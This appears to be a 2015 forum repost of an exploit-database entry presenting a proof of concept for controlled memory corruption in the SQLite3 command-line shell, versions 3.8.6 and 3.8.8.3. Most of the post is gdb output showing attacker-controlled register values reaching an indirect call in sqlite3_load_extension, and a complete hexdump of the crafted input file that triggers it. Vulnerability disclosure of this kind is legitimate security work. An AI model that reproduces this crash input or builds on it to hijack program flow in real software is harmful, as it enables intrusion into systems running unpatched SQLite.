Aerosol Posted March 6, 2015 Report Posted March 6, 2015 (edited) # Exploit Title: SQLite3 controlled memory corruption PoC (0day)# Date: [date]# Exploit Author: Andras Kabai# Vendor Homepage: http://www.sqlite.org/# Software Link: http://www.sqlite.org/download.html# Version: 3.8.6, 3.8.8.3# Tested on: Ubuntu 14.10, 64 bit 3.8.6 (latest available package), 3.8.8.3 (built from the latest source code)Using a crafted input (e.g. from a malicious file via “-init” parameter or directly given to the std input of the program) it is possible to trigger a memory corruption vulnerability in the most recent version of SQLite3. The memory corruption could be controlled, therefore the program flow could be manipulated by the attacker.The following sections demonstrates the attack against the apt-get installed installed and updated sqlite3 and against a newer version that is built from source.====andrew@ubufuzzx6401:~/issues/sqlite$ which sqlite3/usr/bin/sqlite3andrew@ubufuzzx6401:~/issues/sqlite$ /usr/bin/sqlite3 -version3.8.6 2014-08-15 11:46:33 9491ba7d738528f168657adb43a198238abde19eandrew@ubufuzzx6401:~/issues/sqlite$ gdb64 /usr/bin/sqlite3GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvsCopyright (C) 2014 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from /usr/bin/sqlite3...(no debugging symbols found)...done.(gdb) set disassembly-flavor intel(gdb) set args < sqlitepoc.txt(gdb) rStarting program: /usr/bin/sqlite3 < sqlitepoc.txtwarning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Usage: .trace FILE|offError: near line 4: near "whatever": syntax errorUsage: .trace FILE|offProgram received signal SIGSEGV, Segmentation fault.0x00007ffff7ba06a0 in sqlite3_load_extension () from /usr/lib/x86_64-linux-gnu/libsqlite3.so.0(gdb) i rrax 0x138 312rbx 0x41414141424242 18367622009733698rcx 0x7fffffffb590 140737488336272rdx 0x0 0rsi 0x555555779b43 93824994483011rdi 0x41414141424242 18367622009733698rbp 0x555555779b43 0x555555779b43rsp 0x7fffffffb4c0 0x7fffffffb4c0r8 0x555555779b41 93824994483009r9 0x6c 108r10 0x0 0r11 0x0 0r12 0x555555779b48 93824994483016r13 0x7fffffffb590 140737488336272r14 0x555555779b40 93824994483008r15 0x2 2rip 0x7ffff7ba06a0 0x7ffff7ba06a0 <sqlite3_load_extension+736>eflags 0x10246 [ PF ZF IF RF ]cs 0x33 51ss 0x2b 43ds 0x0 0es 0x0 0fs 0x0 0gs 0x0 0(gdb) disas $rip,+10Dump of assembler code from 0x7ffff7ba06a0 to 0x7ffff7ba06aa:=> 0x00007ffff7ba06a0 <sqlite3_load_extension+736>: call QWORD PTR [rbx+0x48] 0x00007ffff7ba06a3 <sqlite3_load_extension+739>: mov r15,rax 0x00007ffff7ba06a6 <sqlite3_load_extension+742>: lea rax,[rip+0x12bc1] # 0x7ffff7bb326eEnd of assembler dump.===andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ ./lt-sqlite3 -version3.8.8.3 2015-02-25 13:29:11 9d6c1880fb75660bbabd693175579529785f8a6bandrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ gdb64 ./lt-sqlite3GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvsCopyright (C) 2014 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from ./lt-sqlite3...done.(gdb) set disassembly-flavor intel(gdb) set args < /home/andrew/issues/sqlite/sqlitepoc.txt(gdb) rStarting program: /home/andrew/tmp/build/sqlite-autoconf-3080803/.libs/lt-sqlite3 < /home/andrew/issues/sqlite/sqlitepoc.txtwarning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Usage: .trace FILE|offError: near line 4: near "whatever": syntax errorUsage: .trace FILE|offProgram received signal SIGSEGV, Segmentation fault.sqlite3LoadExtension (pzErrMsg=0x7fffffffb510, zProc=0x0, zFile=0x6261c3 "CCCCBBBBAAAA", db=0x6261c8) at sqlite3.c:3616936169 }(gdb) i rrax 0x138 312rbx 0x41414141424242 18367622009733698rcx 0x7fffffffb510 140737488336144rdx 0x0 0rsi 0x6261c3 6447555rdi 0x41414141424242 18367622009733698rbp 0x6261c3 0x6261c3rsp 0x7fffffffb440 0x7fffffffb440r8 0x6261c1 6447553r9 0x6c 108r10 0x7fffffffb270 140737488335472r11 0x7ffff7b5ae50 140737349267024r12 0x6261c8 6447560r13 0x7fffffffb510 140737488336144r14 0x6261c0 6447552r15 0x2 2rip 0x7ffff7b5b130 0x7ffff7b5b130 <sqlite3_load_extension+736>eflags 0x10246 [ PF ZF IF RF ]cs 0x33 51ss 0x2b 43ds 0x0 0es 0x0 0fs 0x0 0gs 0x0 0(gdb) disas $rip,+10Dump of assembler code from 0x7ffff7b5b130 to 0x7ffff7b5b13a:=> 0x00007ffff7b5b130 <sqlite3_load_extension+736>: call QWORD PTR [rbx+0x48] 0x00007ffff7b5b133 <sqlite3_load_extension+739>: mov r15,rax 0x00007ffff7b5b136 <sqlite3_load_extension+742>: lea rax,[rip+0x587d8] # 0x7ffff7bb3915End of assembler dump.====andrew@ubufuzzx6401:~/issues/sqlite$ hexdump -C sqlitepoc.txt00000000 3b 0a 2e 74 20 78 0a 2e 74 0a 77 68 61 74 65 76 |;..t x..t.whatev|00000010 65 72 00 0a 3b 0a 2e 74 0a 2e 6f 70 0a 2e 6c 20 |er..;..t..op..l |00000020 43 43 43 43 42 42 42 42 41 41 41 41 0a |CCCCBBBBAAAA.|0000002dSource Edited March 8, 2015 by Aerosol Quote